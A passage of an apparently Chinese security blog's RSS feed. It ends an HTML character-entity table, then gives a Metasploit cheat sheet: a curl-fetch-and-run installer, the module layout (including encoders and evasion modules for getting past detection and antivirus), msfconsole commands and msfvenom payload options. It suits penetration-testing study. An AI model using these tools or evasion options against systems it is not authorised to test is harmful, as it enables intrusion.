					<td style="text-align: center"><code>&amp;aacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带尖音符的拉丁小写字母 a</td>
			</tr>
			<tr>
					<td style="text-align: center">226</td>
					<td style="text-align: center">E2</td>
					<td style="text-align: center">342</td>
					<td style="text-align: center">11100010</td>
					<td style="text-align: center"><strong>â</strong></td>
					<td style="text-align: center"><code>&amp;#226;</code></td>
					<td style="text-align: center"><code>&amp;acirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的拉丁小写字母 a</td>
			</tr>
			<tr>
					<td style="text-align: center">227</td>
					<td style="text-align: center">E3</td>
					<td style="text-align: center">343</td>
					<td style="text-align: center">11100011</td>
					<td style="text-align: center"><strong>ã</strong></td>
					<td style="text-align: center"><code>&amp;#227;</code></td>
					<td style="text-align: center"><code>&amp;atilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带波浪号的拉丁小写字母 a</td>
			</tr>
			<tr>
					<td style="text-align: center">228</td>
					<td style="text-align: center">E4</td>
					<td style="text-align: center">344</td>
					<td style="text-align: center">11100100</td>
					<td style="text-align: center"><strong>ä</strong></td>
					<td style="text-align: center"><code>&amp;#228;</code></td>
					<td style="text-align: center"><code>&amp;auml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符号的小写拉丁字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">229</td>
					<td style="text-align: center">E5</td>
					<td style="text-align: center">345</td>
					<td style="text-align: center">11100101</td>
					<td style="text-align: center"><strong>å</strong></td>
					<td style="text-align: center"><code>&amp;#229;</code></td>
					<td style="text-align: center"><code>&amp;aring;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带顶环的小写拉丁字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">230</td>
					<td style="text-align: center">E6</td>
					<td style="text-align: center">346</td>
					<td style="text-align: center">11100110</td>
					<td style="text-align: center"><strong>æ</strong></td>
					<td style="text-align: center"><code>&amp;#230;</code></td>
					<td style="text-align: center"><code>&amp;aelig;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">小写拉丁字母 AE</td>
			</tr>
			<tr>
					<td style="text-align: center">231</td>
					<td style="text-align: center">E7</td>
					<td style="text-align: center">347</td>
					<td style="text-align: center">11100111</td>
					<td style="text-align: center"><strong>ç</strong></td>
					<td style="text-align: center"><code>&amp;#231;</code></td>
					<td style="text-align: center"><code>&amp;ccedil;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带软音符的小写拉丁字母 C</td>
			</tr>
			<tr>
					<td style="text-align: center">232</td>
					<td style="text-align: center">E8</td>
					<td style="text-align: center">350</td>
					<td style="text-align: center">11101000</td>
					<td style="text-align: center"><strong>è</strong></td>
					<td style="text-align: center"><code>&amp;#232;</code></td>
					<td style="text-align: center"><code>&amp;egrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符号的小写拉丁字母 E</td>
			</tr>
			<tr>
					<td style="text-align: center">233</td>
					<td style="text-align: center">E9</td>
					<td style="text-align: center">351</td>
					<td style="text-align: center">11101001</td>
					<td style="text-align: center"><strong>é</strong></td>
					<td style="text-align: center"><code>&amp;#233;</code></td>
					<td style="text-align: center"><code>&amp;eacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 E 带尖音符</td>
			</tr>
			<tr>
					<td style="text-align: center">234</td>
					<td style="text-align: center">EA</td>
					<td style="text-align: center">352</td>
					<td style="text-align: center">11101010</td>
					<td style="text-align: center"><strong>ê</strong></td>
					<td style="text-align: center"><code>&amp;#234;</code></td>
					<td style="text-align: center"><code>&amp;ecirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 E 带扬抑符</td>
			</tr>
			<tr>
					<td style="text-align: center">235</td>
					<td style="text-align: center">EB</td>
					<td style="text-align: center">353</td>
					<td style="text-align: center">11101011</td>
					<td style="text-align: center"><strong>ë</strong></td>
					<td style="text-align: center"><code>&amp;#235;</code></td>
					<td style="text-align: center"><code>&amp;euml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 E 带分音符</td>
			</tr>
			<tr>
					<td style="text-align: center">236</td>
					<td style="text-align: center">EC</td>
					<td style="text-align: center">354</td>
					<td style="text-align: center">11101100</td>
					<td style="text-align: center"><strong>ì</strong></td>
					<td style="text-align: center"><code>&amp;#236;</code></td>
					<td style="text-align: center"><code>&amp;igrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 I 带重音符</td>
			</tr>
			<tr>
					<td style="text-align: center">237</td>
					<td style="text-align: center">ED</td>
					<td style="text-align: center">355</td>
					<td style="text-align: center">11101101</td>
					<td style="text-align: center"><strong>í</strong></td>
					<td style="text-align: center"><code>&amp;#237;</code></td>
					<td style="text-align: center"><code>&amp;iacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 I 带尖音符</td>
			</tr>
			<tr>
					<td style="text-align: center">238</td>
					<td style="text-align: center">EE</td>
					<td style="text-align: center">356</td>
					<td style="text-align: center">11101110</td>
					<td style="text-align: center"><strong>î</strong></td>
					<td style="text-align: center"><code>&amp;#238;</code></td>
					<td style="text-align: center"><code>&amp;icirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 i 带扬抑符</td>
			</tr>
			<tr>
					<td style="text-align: center">239</td>
					<td style="text-align: center">EF</td>
					<td style="text-align: center">357</td>
					<td style="text-align: center">11101111</td>
					<td style="text-align: center"><strong>ï</strong></td>
					<td style="text-align: center"><code>&amp;#239;</code></td>
					<td style="text-align: center"><code>&amp;iuml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 i 带分音符</td>
			</tr>
			<tr>
					<td style="text-align: center">240</td>
					<td style="text-align: center">F0</td>
					<td style="text-align: center">360</td>
					<td style="text-align: center">11110000</td>
					<td style="text-align: center"><strong>ð</strong></td>
					<td style="text-align: center"><code>&amp;#240;</code></td>
					<td style="text-align: center"><code>&amp;eth;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 eth</td>
			</tr>
			<tr>
					<td style="text-align: center">241</td>
					<td style="text-align: center">F1</td>
					<td style="text-align: center">361</td>
					<td style="text-align: center">11110001</td>
					<td style="text-align: center"><strong>ñ</strong></td>
					<td style="text-align: center"><code>&amp;#241;</code></td>
					<td style="text-align: center"><code>&amp;ntilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 n 带波浪线</td>
			</tr>
			<tr>
					<td style="text-align: center">242</td>
					<td style="text-align: center">F2</td>
					<td style="text-align: center">362</td>
					<td style="text-align: center">11110010</td>
					<td style="text-align: center"><strong>ò</strong></td>
					<td style="text-align: center"><code>&amp;#242;</code></td>
					<td style="text-align: center"><code>&amp;ograve;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 o 带重音符号</td>
			</tr>
			<tr>
					<td style="text-align: center">243</td>
					<td style="text-align: center">F3</td>
					<td style="text-align: center">363</td>
					<td style="text-align: center">11110011</td>
					<td style="text-align: center"><strong>ó</strong></td>
					<td style="text-align: center"><code>&amp;#243;</code></td>
					<td style="text-align: center"><code>&amp;oacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带锐音符的小写拉丁字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">244</td>
					<td style="text-align: center">F4</td>
					<td style="text-align: center">364</td>
					<td style="text-align: center">11110100</td>
					<td style="text-align: center"><strong>ô</strong></td>
					<td style="text-align: center"><code>&amp;#244;</code></td>
					<td style="text-align: center"><code>&amp;ocirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的小写拉丁字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">245</td>
					<td style="text-align: center">F5</td>
					<td style="text-align: center">365</td>
					<td style="text-align: center">11110101</td>
					<td style="text-align: center"><strong>õ</strong></td>
					<td style="text-align: center"><code>&amp;#245;</code></td>
					<td style="text-align: center"><code>&amp;otilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带波浪线的小写拉丁字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">246</td>
					<td style="text-align: center">F6</td>
					<td style="text-align: center">366</td>
					<td style="text-align: center">11110110</td>
					<td style="text-align: center"><strong>ö</strong></td>
					<td style="text-align: center"><code>&amp;#246;</code></td>
					<td style="text-align: center"><code>&amp;ouml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符的小写拉丁字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">247</td>
					<td style="text-align: center">F7</td>
					<td style="text-align: center">367</td>
					<td style="text-align: center">11110111</td>
					<td style="text-align: center"><strong>÷</strong></td>
					<td style="text-align: center"><code>&amp;#247;</code></td>
					<td style="text-align: center"><code>&amp;divide;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">除号</td>
			</tr>
			<tr>
					<td style="text-align: center">248</td>
					<td style="text-align: center">F8</td>
					<td style="text-align: center">370</td>
					<td style="text-align: center">11111000</td>
					<td style="text-align: center"><strong>ø</strong></td>
					<td style="text-align: center"><code>&amp;#248;</code></td>
					<td style="text-align: center"><code>&amp;oslash;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带删节线的拉丁小写字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">249</td>
					<td style="text-align: center">F9</td>
					<td style="text-align: center">371</td>
					<td style="text-align: center">11111001</td>
					<td style="text-align: center"><strong>ù</strong></td>
					<td style="text-align: center"><code>&amp;#249;</code></td>
					<td style="text-align: center"><code>&amp;ugrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符的拉丁小写字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">250</td>
					<td style="text-align: center">FA</td>
					<td style="text-align: center">372</td>
					<td style="text-align: center">11111010</td>
					<td style="text-align: center"><strong>ú</strong></td>
					<td style="text-align: center"><code>&amp;#250;</code></td>
					<td style="text-align: center"><code>&amp;uacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带尖音符的拉丁小写字字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">251</td>
					<td style="text-align: center">FB</td>
					<td style="text-align: center">373</td>
					<td style="text-align: center">11111011</td>
					<td style="text-align: center"><strong>û</strong></td>
					<td style="text-align: center"><code>&amp;#251;</code></td>
					<td style="text-align: center"><code>&amp;ucirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的拉丁小写字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">252</td>
					<td style="text-align: center">FC</td>
					<td style="text-align: center">374</td>
					<td style="text-align: center">11111100</td>
					<td style="text-align: center"><strong>ü</strong></td>
					<td style="text-align: center"><code>&amp;#252;</code></td>
					<td style="text-align: center"><code>&amp;uuml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符的拉丁小写字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">253</td>
					<td style="text-align: center">FD</td>
					<td style="text-align: center">375</td>
					<td style="text-align: center">11111101</td>
					<td style="text-align: center"><strong>ý</strong></td>
					<td style="text-align: center"><code>&amp;#253;</code></td>
					<td style="text-align: center"><code>&amp;yacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 Y 加锐音符</td>
			</tr>
			<tr>
					<td style="text-align: center">254</td>
					<td style="text-align: center">FE</td>
					<td style="text-align: center">376</td>
					<td style="text-align: center">11111110</td>
					<td style="text-align: center"><strong>þ</strong></td>
					<td style="text-align: center"><code>&amp;#254;</code></td>
					<td style="text-align: center"><code>&amp;thorn;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 Þ</td>
			</tr>
			<tr>
					<td style="text-align: center">255</td>
					<td style="text-align: center">FF</td>
					<td style="text-align: center">377</td>
					<td style="text-align: center">11111111</td>
					<td style="text-align: center"><strong>ÿ</strong></td>
					<td style="text-align: center"><code>&amp;#255;</code></td>
					<td style="text-align: center"><code>&amp;yuml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母 Y 加分音符号</td>
			</tr>
	</tbody>
</table>
]]></content:encoded><h:img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTZ_aJyxM5FTKglKM69yEdf9KJsfgdozorqHQ&amp;amp;s"/><enclosure url="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTZ_aJyxM5FTKglKM69yEdf9KJsfgdozorqHQ&amp;amp;s"/><category>ASCII</category></item><item><title>MSF备忘录</title><link>https://h4cker.zip/0210ca/</link><pubDate>Mon, 20 Feb 2023 16:23:33 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/0210ca/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="1-安装运行及初始化">1. 安装运行及初始化<a class="anchor" href="#1-安装运行及初始化">#</a></h2>
<p>安装</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 安装</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &gt; msfinstall <span class="o">&amp;&amp;</span> chmod <span class="m">755</span> msfinstall <span class="o">&amp;&amp;</span> ./msfinstall
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># 安装完成后位置</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># /opt/metasploit-framework/embedded/framework/</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1"># 目录结构 </span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">--modules 重点看这里就行了
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  --auxiliary 主要包含辅助性脚本<span class="o">(</span>扫描、嗅探、注入、爆破，漏洞挖掘<span class="o">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  --encoders 主要包含各种编码工具，以便绕过入侵检测和过滤系统
</span></span><span class="line"><span class="ln">11</span><span class="cl">  --exploits 漏洞利用，包含主流的漏洞利用脚本，exp命名规则:系统/服务/模块
</span></span><span class="line"><span class="ln">12</span><span class="cl">  --nops 绕过针对溢出攻击滑行字符串的拦截检测
</span></span><span class="line"><span class="ln">13</span><span class="cl">  --payloads 攻击荷载，主要在目标机器执行代码
</span></span><span class="line"><span class="ln">14</span><span class="cl">  --post 此目录放着msf的exploit执行成功后，向目标发送的一些功能性指令，如提权，获取hash等
</span></span><span class="line"><span class="ln">15</span><span class="cl">  --evasion 新增，用来生成免杀payload，类似于集成msfvenom功能
</span></span><span class="line"><span class="ln">16</span><span class="cl">--data 放了meterpreter ，passiveX，vnc，DLLs，等这些工具和一些用户接口代码，msfweb 和一些其他模块用到的数据文件
</span></span><span class="line"><span class="ln">17</span><span class="cl">--plugins 这里的模块用户需要load来加载，提供数据库连接插件和各种要用到的插件
</span></span><span class="line"><span class="ln">18</span><span class="cl">--scripts 这个目录下的文件大都是meterpreter这个模块利用的脚本，比如用到migrate来转移到其他进程的指令的源代码就在此
</span></span><span class="line"><span class="ln">19</span><span class="cl">--tools 包含一些有用的脚本和零散的工具</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>启动</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># 运行</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">$ msfconsole
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="c1"># 初始化数据库</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">$ msfdb init
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="c1"># 重建缓存</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">$ db_rebuild_cache
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="c1"># 查看数据库连接情况</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">$ db_status</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="2-msf基本命令">2. msf基本命令<a class="anchor" href="#2-msf基本命令">#</a></h2>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">show exploits – 查看所有可用的渗透攻击程序代码 
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">show auxiliary – 查看所有可用的辅助攻击工具 
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">show options – 查看该模块所有可用选项 
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">show payloads – 查看该模块适用的所有载荷代码 
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">show targets – 查看该模块适用的攻击目标类型
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">search – 根据关键字搜索某模块 
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">info – 显示某模块的详细信息 
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">use – 进入使用某渗透攻击模块 
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">back – 回退 
</span></span><span class="line"><span class="ln">10</span><span class="cl">set/unset – 设置/禁用模块中的某个参数 
</span></span><span class="line"><span class="ln">11</span><span class="cl">setg/unsetg – 设置/禁用适用于所有模块的全局参数 
</span></span><span class="line"><span class="ln">12</span><span class="cl">save – 将当前设置值保存下来，以便下次启动MSF终端时仍可使用</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="3-msfvenom生成payload">3 msfvenom生成payload<a class="anchor" href="#3-msfvenom生成payload">#</a></h2>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">-p, --payload    &lt;payload&gt;       指定需要使用的payload<span class="o">(</span>攻击荷载<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">-l, --list       <span class="o">[</span>module_type<span class="o">]</span>   列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">-n, --nopsled    &lt;length&gt;        为payload预先指定一个NOP滑动长度
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">-f, --format     &lt;format&gt;        指定输出格式 <span class="o">(</span>使用 --help-formats 来获取msf支持的输出格式列表<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">-e, --encoder    <span class="o">[</span>encoder<span class="o">]</span>       指定需要使用的encoder（编码器）
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">-a, --arch       &lt;architecture&gt;  指定payload的目标架构
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    --platform   &lt;platform&gt;      指定payload的目标平台
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">-s, --space      &lt;length&gt;        设定有效攻击荷载的最大长度
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">-b, --bad-chars  &lt;list&gt;          设定规避字符集，比如: <span class="p">&amp;</span><span class="c1">#039;\x00\xff&amp;#039;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">-i, --iterations &lt;count&gt;         指定payload的编码次数
</span></span><span class="line"><span class="ln">11</span><span class="cl">-c, --add-code   &lt;path&gt;          指定一个附加的win32 shellcode文件
</span></span><span class="line"><span class="ln">12</span><span class="cl">-x, --template   &lt;path&gt;          指定一个自定义的可执行文件作为模板
</span></span><span class="line"><span class="ln">13</span><span class="cl">-k, --keep                       保护模板程序的动作，注入的payload作为一个新的进程运行
</span></span><span class="line"><span class="ln">14</span><span class="cl">    --payload-options            列举payload的标准选项
</span></span><span class="line"><span class="ln">15</span><span class="cl">-o, --out   &lt;path&gt;               保存payload
